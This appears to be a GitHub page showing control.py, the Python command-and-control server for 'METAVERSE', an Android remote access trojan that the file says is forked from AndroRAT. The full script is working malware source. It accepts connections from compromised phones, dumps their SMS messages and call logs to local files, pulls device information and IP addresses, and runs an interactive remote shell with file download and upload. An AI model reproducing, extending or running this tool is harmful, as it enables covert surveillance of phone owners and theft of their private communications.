-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathcontrol.py
More file actions
302 lines (237 loc) · 8.82 KB
/
Copy pathcontrol.py
File metadata and controls
302 lines (237 loc) · 8.82 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
#!/usr/bin/python
import sys
import os
import base64
import time
import binascii
import select
import pathlib
import platform
import re
import socket
import threading
import queue
import argparse
sys.stdout.reconfigure(encoding='utf-8')
banner = """\033[1m\033[96m
__ __ _____ _______ __ ________ _____ _____ ______
| \/ | ___|__ __|/\ \ / / ____| __ \ / ____| ____|
| \ / | |__ | | / \ \ / /| |__ | |__) | (___ | |__
| |\/| | __| | | / /\ \ \/ / | __| | _ / \___ \| __|
| | | | |___ | |/ ____ \ / | |____| | \ \ ____) | |____
|_| |_|_____| |_/_/ \_\/ |______|_| \_\_____/|______|
\033[93m A fork of AndroRAT by karma9874 for modern devices.\033[0m
"""
def _platform():
if platform.system() == 'Windows':
return lambda: os.system('cls'), "\\"
return lambda: os.system('clear'), "/"
clear, direc = _platform()
if not os.path.isdir(os.getcwd() + direc + "Dumps"):
os.makedirs("Dumps")
def getpwd(name):
return os.getcwd() + direc + name
def tag(type_):
colors = {
"error": ("31m", "ERROR"),
"warning": ("33m", "WARNING"),
"success": ("32m", "SUCCESS"),
}
if type_ == "info":
return "\033[1m[\033[33mINFO\033[0m\033[1m] "
col, label = colors[type_]
return f"\033[1m[\033[{col}{label}\033[0m\033[1m]\033[0m "
def animate(msg):
for ch in "/—\\|":
sys.stdout.write(f"\r{tag('info')}\033[1m{msg}\033[31m{ch}\033[0m")
time.sleep(0.1)
sys.stdout.flush()
def recvall(sock):
buf = ""
while "END123" not in buf:
buf += sock.recv(4096).decode("UTF-8", "ignore")
return buf
def recvall_shell(sock):
buf, data = "", ""
ready = select.select([sock], [], [], 3)
while "END123" not in data:
if ready[0]:
data = sock.recv(4096).decode("UTF-8", "ignore")
buf += data
else:
return "bogus"
return buf
def handle_sms(client, folder):
print(tag("info") + f"\033[0mFetching {folder} SMS …")
timestr = time.strftime("%Y%m%d-%H%M%S")
filename = f"Dumps{direc}{folder}_{timestr}.txt"
msg = recvall(client)
try:
with open(filename, 'w', errors="ignore", encoding="utf-8") as f:
f.write(msg)
print(tag("success") + "Saved → \033[1m\033[32m" + getpwd(filename) + "\n")
except UnicodeDecodeError:
print(tag("error") + "Unable to decode SMS\n")
if os.path.exists(filename):
os.remove(filename)
def handle_call_logs(client):
print(tag("info") + "\033[0mFetching call logs …")
timestr = time.strftime("%Y%m%d-%H%M%S")
msg = recvall(client)
filename = f"Dumps{direc}Call_Logs_{timestr}.txt"
if "No call logs" in msg:
print(msg.replace("END123", "").strip())
print()
else:
with open(filename, 'w', errors="ignore", encoding="utf-8") as f:
f.write(msg)
print(tag("success") + "Saved → \033[1m\033[32m" + getpwd(filename) + "\033[0m")
if not os.path.getsize(filename):
os.remove(filename)
def _get_file(filename, ext, data):
dest = f"Dumps{direc}{filename}.{ext}"
try:
with open(dest, 'wb') as f:
f.write(base64.b64decode(data))
print(tag("success") + "Downloaded → \033[1m\033[32m" + getpwd(dest) + "\n")
except binascii.Error:
print(tag("error") + "Could not decode file")
if os.path.exists(dest):
os.remove(dest)
def _put_file(filename):
return base64.b64encode(open(filename, "rb").read())
def handle_shell(client, last_cmd):
"""Interactive device shell."""
while True:
msg = recvall_shell(client)
if "getFile" in msg:
raw = recvall(client).replace("\nEND123\n", "")
parts = raw.split("|_|")
_get_file(parts[0], parts[1], parts[2])
if "putFile" in msg:
fname = last_cmd[0].split(" ")[1].strip() if last_cmd else ""
if pathlib.Path(fname).exists():
enc = _put_file(fname).decode("UTF-8")
parts = fname.split(".")
client.send(
("putFile" + "<" + parts[0] + "<" + parts[1] + "<" + enc + "END123\n")
.encode("UTF-8")
)
print(tag("success") + f"\033[32mUploaded {fname} → /sdcard/temp/")
else:
print(tag("error") + "File not found")
if "Exiting" in msg:
print("\033[1m\033[33m--- Exiting Shell ---\n")
return
for line in msg.split("\n")[:-2]:
print(line)
print()
cmd = input("\033[1m\033[36mandroid@shell:~$\033[0m \033[1m")
last_cmd[0] = cmd
cmd += "\n"
if cmd.strip() == "clear":
client.send("test\n".encode("UTF-8"))
clear()
else:
client.send(cmd.encode("UTF-8"))
def print_help():
print("""
Commands
────────────────────────────────────────────
deviceInfo device info
getSMS [inbox|sent] dump SMS to file
getCallLogs dump call log to file
getIP device IP address
vibrate [number] vibrates the device for given times
shell interactive device shell
help show this menu
clear clear screen
exit disconnect & quit
────────────────────────────────────────────
""")
def _accept_connection(sock, q):
conn, addr = sock.accept()
q.put((conn, addr))
def run_controller(ip, port):
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
soc.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
soc.bind((ip, int(port)))
except Exception as e:
print(tag("error") + f"\033[1m{e}")
sys.exit(1)
soc.listen(2)
print(banner)
while True:
q = queue.Queue()
t = threading.Thread(target=_accept_connection, args=[soc, q], daemon=True)
t.start()
while t.is_alive():
animate("Waiting for connection ")
t.join()
conn, addr = q.get()
clear()
print(tag("success") + f"Connected → \033[1m\033[32m{addr}\033[0m\n")
last_cmd = [""]
while True:
try:
msg = conn.recv(4024).decode("UTF-8").strip()
except Exception:
print(tag("error") + "Connection lost")
break
if "readSMS" in msg:
folder = msg.split(" ")[1] if " " in msg else "inbox"
handle_sms(conn, folder)
elif msg == "SHELL":
handle_shell(conn, last_cmd)
elif msg == "callLogs":
handle_call_logs(conn)
elif msg == "help":
print_help()
else:
if "Unknown Command" in msg:
print(tag("error") + msg)
elif "Hello there" in msg:
print("\033[1m" + msg)
else:
print(msg)
# ── prompt ──
try:
cmd = input("\033[1m\033[36mMETAVERSE:/> \033[0m").strip()
except (EOFError, KeyboardInterrupt):
print()
break
last_cmd[0] = cmd
if cmd == "exit":
conn.send((cmd + "\n").encode("UTF-8"))
print("\n\033[1m\033[32m Bye! (∗ ・‿・)ノ゛\033[0m\n")
sys.exit(0)
if cmd == "clear":
conn.send("test\n".encode("UTF-8"))
clear()
continue
if cmd == "help":
print_help()
conn.send("\n".encode("UTF-8"))
continue
conn.send((cmd + "\n").encode("UTF-8"))
def main():
parser = argparse.ArgumentParser(
prog="control.py",
usage="%(prog)s -i <IP> -p <PORT>",
description="METAVERSE – Android Remote Controller"
)
parser.add_argument('-i', '--ip', metavar="<IP>", required=True, help="Listener IP (use 0.0.0.0 to bind all)")
parser.add_argument('-p', '--port', metavar="<PORT>", required=True, help="Listener port")
args = parser.parse_args()
if args.ip != "0.0.0.0":
ip_re = re.match(r"^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$", args.ip)
if not ip_re or not all(0 <= int(n) <= 255 for n in ip_re.groups()):
print(tag("error") + "Invalid IP address")
sys.exit(1)
if not args.port.isdigit() or not (1 <= int(args.port) <= 65535):
print(tag("error") + "Invalid port number")
sys.exit(1)
run_controller(args.ip, args.port)
if __name__ == "__main__":
main()